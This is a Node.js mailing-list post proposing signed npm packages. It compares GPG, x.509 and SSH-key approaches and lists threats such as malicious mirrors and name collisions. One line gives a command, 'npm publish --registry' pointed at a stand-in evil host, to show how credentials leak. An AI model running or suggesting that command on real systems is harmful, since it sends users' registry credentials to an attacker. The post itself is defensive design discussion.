TL;DR: I want to do that. How it should be done? This message is too long, sorry about that. I guess it's okay if you just answer to the simple question above without reading it. :)
-------------------- So, we've been discussing it several times, and I feel that the need for something like this is rising. Three months ago I tried a pull request (https://github.com/npm/npm/pull/4016), there were a few issues with it. I'm making another attempt to implement package signing right now, and want to ask what can be done better. For me the purpose of this is to be able to verify that a certain package is trusted doesn't matter where you download it from. There are a few cases where package signing would be very helpful: 1. Various caches. A few years ago there was only a npm registry. Now there are a few public mirrors like http://npmjs.eu/ (which is a great thing but unfortunately doesn't allow https). Here're the discussion about public mirrors: https://github.com/npm/npm/issues/4131. I really want to use those, but I'll need to trust not only npm registry but every single one of the public mirrors I use. In theory package signing would allow to safely use any public mirror, because a malicious mirror can't alter signed packages. It can still respond with an old (possibly vulnerable) version of signed package, but we can live with that. 2. Name collisions between private packages and public ones You can have a local registry, but run npm with incorrect settings, so it will download packages from npmjs registry. If there is a name collision, you just installed something you didn't intend to. There were numerous bugs in npm, like `npm update` fetching packages installed from git. Same deal, somebody could upload packages with the same name, and if you hit a bug, you're screwed. I did not see malicious packages in npm repository like ever, but I did encounter scenarious when something is fetching a non-existing package from there by mistake, and somebody could in theory upload them. 3. Npm registry security. Right now anyone who captured your password one time can do any weird thing with your packages you can imagine. Only issue is that a publish date will be modified in couchdb, but nobody checks that. See a recent thread here about package immutability. How easy is it to lose your password? Well, let me tell you a scary thing. Just run "npm publish --registry http://evilsite.com/", and your credentials are gone, npm never checks that domain matches. Anyway, passwords suck very much. People should use assymmetric cryptography instead. Signing packages will at least somehow mitigate that issue. Like saying "okay, somebody can tamper with my npm packages, but people won't be able to install them". -------------------- So, how packages should be signed? There are a few options to consider: 1. x.509 certificates. That's what ruby does (http://guides.rubygems.org/security/). http://www.rubygems-openpgp-ca.org/blog/gem-signing-x509-and-openpgp.html Here's X509 vs GPG thread in a ruby mailing list: http://rubyforge.org/pipermail/rubygems-developers/2011-May/006598.html 2. GPG The main difference between gpg and x509 is that everyone can sign gpg keys with their own keys, but x509 certificates can be verified by only one CA. User should be able to choose who he trusts. That's why I think that x509 trust model is fundamentally broken, and https is insecure. Web of trust? By the way, I really hate it how kernel and debian webs of trusts are used. I don't give a damn if somebody's certificate name matches their real life name. Only thing I care about is whether it's an author of the package himself or not. On the other hand, if there's some web of trust with light signing restrictions like if you use some package for a long time, you check that public key owner is the same person as github account owner and just sign that. This way people who're actively using each other's packages will form a strong set. Also, Perl/CPAN seem to use gpg. Since it's the most familiar language for me after javascript, I think I'll look into how it's implemented. 3. SSH keys? There's this weird idea. Github shows their users' SSH public keys, and @substack suggested (see "cipherhub") to make use of them to encrypt messages. Since these public keys are easily available, we can make use of them. Just a thought, I don't really like that. -------------------- # Implementation Right now I'm thinking of npm signing a package on upload with the first available key by default. If there is a gpg installed and a key exists, sign using it. If not, maybe print a warning. Is there anything wrong with this approach? # Where to place a signature? We're signing the tarball only, right? And a package metadata (that JSON object in couchdb) would remain unsigned? Anyway, the signature needs to be stored somewhere, and there are a few options to consider: 1. Upload a detached signature as a file. That's how I did it in the initial pull request. Its disadvantage is that npm needs to make another HTTP request to the registry. 2. Append it to tarball? Is it possible to add a signature to the tarball and preserve a backward compatibility, so an older npm version would still be able to install it? # How can 3rd party sign a package? There was a suggestion to allow anybody to sign any package with their key, see https://github.com/npm/npm/pull/4016#issuecomment-31329724 . How can it be done without major changes to couchdb database? -- Regards, alex -- -- Job Board: http://jobs.nodejs.org/ Posting guidelines: https://github.com/joyent/node/wiki/Mailing-List-Posting-Guidelines You received this message because you are subscribed to the Google Groups "nodejs" group. To post to this group, send email to [email protected] To unsubscribe from this group, send email to [email protected] For more options, visit this group at http://groups.google.com/group/nodejs?hl=en?hl=en --- You received this message because you are subscribed to the Google Groups "nodejs" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected]. For more options, visit https://groups.google.com/groups/opt_out.
